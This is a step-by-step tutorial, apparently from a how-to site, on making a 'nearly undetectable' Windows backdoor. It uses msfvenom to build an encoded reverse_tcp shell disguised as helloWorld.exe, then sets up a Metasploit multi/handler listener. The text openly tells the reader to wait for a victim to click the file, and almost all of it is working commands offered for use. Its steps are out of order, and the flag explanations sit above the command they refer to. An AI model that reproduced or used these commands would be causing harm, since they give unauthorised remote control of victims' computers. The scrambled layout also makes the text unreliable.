How to Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux

Step-by-Step Guide

1. 1

   Step 1: Start up Kali and fire up the Terminal console.

   You will use x86/shikata_ga_nai as the encoder. ,
   -p windows/shell/reverse_tcp designates the payloads to embed.
   
   LHOST designates the listener IP address.
   
   LPORT designates the listener port.
   -b "\x00" designates to avoid bad character (null bytes).
   -e x86/shikata_ga_nai designates the encoders name.
   -f exe > helloWorld.exe designates format output. , Now you have generated your backdoor.
   
   When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system.
   
   In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads. ,,,, "LHOST" designates the listener IP address. , "LPORT" designates the listener port. ,, Then you will be successfully connected to the victim's machine.
2. 2

   Step 2: Type ifconfig to display the interface and check your IP address.

3. 3

   Step 3: Type msfvenom -l encoders to show the list of encoders.

4. 4

   Step 4: Type "msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe > helloWorld.exe -a x86 --platform windows designates architecture to use.

5. 5

   Step 5: Type msfconsole to activate the Metasploit.

6. 6

   Step 6: Type use exploit/multi/handler.

7. 7

   Step 7: Type set payload windows/shell/reverse_tcp.

8. 8

   Step 8: Type show options to check the module.

9. 9

   Step 9: Type set LHOST 192.168.48.129.

10. 10

    Step 10: Type set LPORT 4444.

11. 11

    Step 11: Type run and wait for the connection from victim's machine.

12. 12

    Step 12: Wait for the victim to click on hellloWorld.exe.

Detailed Guide

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